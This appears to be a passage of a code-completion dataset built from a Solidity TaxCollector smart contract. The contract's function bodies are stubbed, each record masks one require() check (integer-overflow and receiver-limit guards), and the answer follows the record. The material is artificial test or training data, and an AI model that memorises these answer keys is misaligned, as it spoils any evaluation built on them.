* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| int256(x)>=0,"TaxCollector/mul-uint-int-invalid-x" | 72,832 | int256(x)>=0 |
"TaxCollector/mul-int-int-overflow" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
require(<FILL_ME>)
require(y == 0 || (z = x * y) / y == x, "TaxCollector/mul-int-int-invalid");
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| !both(x==-1,y==INT256_MIN),"TaxCollector/mul-int-int-overflow" | 72,832 | !both(x==-1,y==INT256_MIN) |
"TaxCollector/account-already-used" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
require(receiverAccount != address(0), "TaxCollector/null-account");
require(receiverAccount != primaryTaxReceiver, "TaxCollector/primary-receiver-cannot-be-secondary");
require(taxPercentage > 0, "TaxCollector/null-sf");
require(<FILL_ME>)
require(addition(secondaryReceiversAmount(), ONE) <= maxSecondaryReceivers, "TaxCollector/exceeds-max-receiver-limit");
require(addition(secondaryReceiverAllotedTax[collateralType], taxPercentage) < WHOLE_TAX_CUT, "TaxCollector/tax-cut-exceeds-hundred");
secondaryReceiverNonce = addition(secondaryReceiverNonce, 1);
latestSecondaryReceiver = secondaryReceiverNonce;
usedSecondaryReceiver[receiverAccount] = ONE;
secondaryReceiverAllotedTax[collateralType] = addition(secondaryReceiverAllotedTax[collateralType], taxPercentage);
secondaryTaxReceivers[collateralType][latestSecondaryReceiver].taxPercentage = taxPercentage;
secondaryReceiverAccounts[latestSecondaryReceiver] = receiverAccount;
secondaryReceiverRevenueSources[receiverAccount] = ONE;
secondaryReceiverList.push(latestSecondaryReceiver, false);
emit AddSecondaryReceiver(
collateralType,
secondaryReceiverNonce,
latestSecondaryReceiver,
secondaryReceiverAllotedTax[collateralType],
secondaryReceiverRevenueSources[receiverAccount]
);
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| usedSecondaryReceiver[receiverAccount]==0,"TaxCollector/account-already-used" | 72,832 | usedSecondaryReceiver[receiverAccount]==0 |
"TaxCollector/exceeds-max-receiver-limit" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
require(receiverAccount != address(0), "TaxCollector/null-account");
require(receiverAccount != primaryTaxReceiver, "TaxCollector/primary-receiver-cannot-be-secondary");
require(taxPercentage > 0, "TaxCollector/null-sf");
require(usedSecondaryReceiver[receiverAccount] == 0, "TaxCollector/account-already-used");
require(<FILL_ME>)
require(addition(secondaryReceiverAllotedTax[collateralType], taxPercentage) < WHOLE_TAX_CUT, "TaxCollector/tax-cut-exceeds-hundred");
secondaryReceiverNonce = addition(secondaryReceiverNonce, 1);
latestSecondaryReceiver = secondaryReceiverNonce;
usedSecondaryReceiver[receiverAccount] = ONE;
secondaryReceiverAllotedTax[collateralType] = addition(secondaryReceiverAllotedTax[collateralType], taxPercentage);
secondaryTaxReceivers[collateralType][latestSecondaryReceiver].taxPercentage = taxPercentage;
secondaryReceiverAccounts[latestSecondaryReceiver] = receiverAccount;
secondaryReceiverRevenueSources[receiverAccount] = ONE;
secondaryReceiverList.push(latestSecondaryReceiver, false);
emit AddSecondaryReceiver(
collateralType,
secondaryReceiverNonce,
latestSecondaryReceiver,
secondaryReceiverAllotedTax[collateralType],
secondaryReceiverRevenueSources[receiverAccount]
);
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
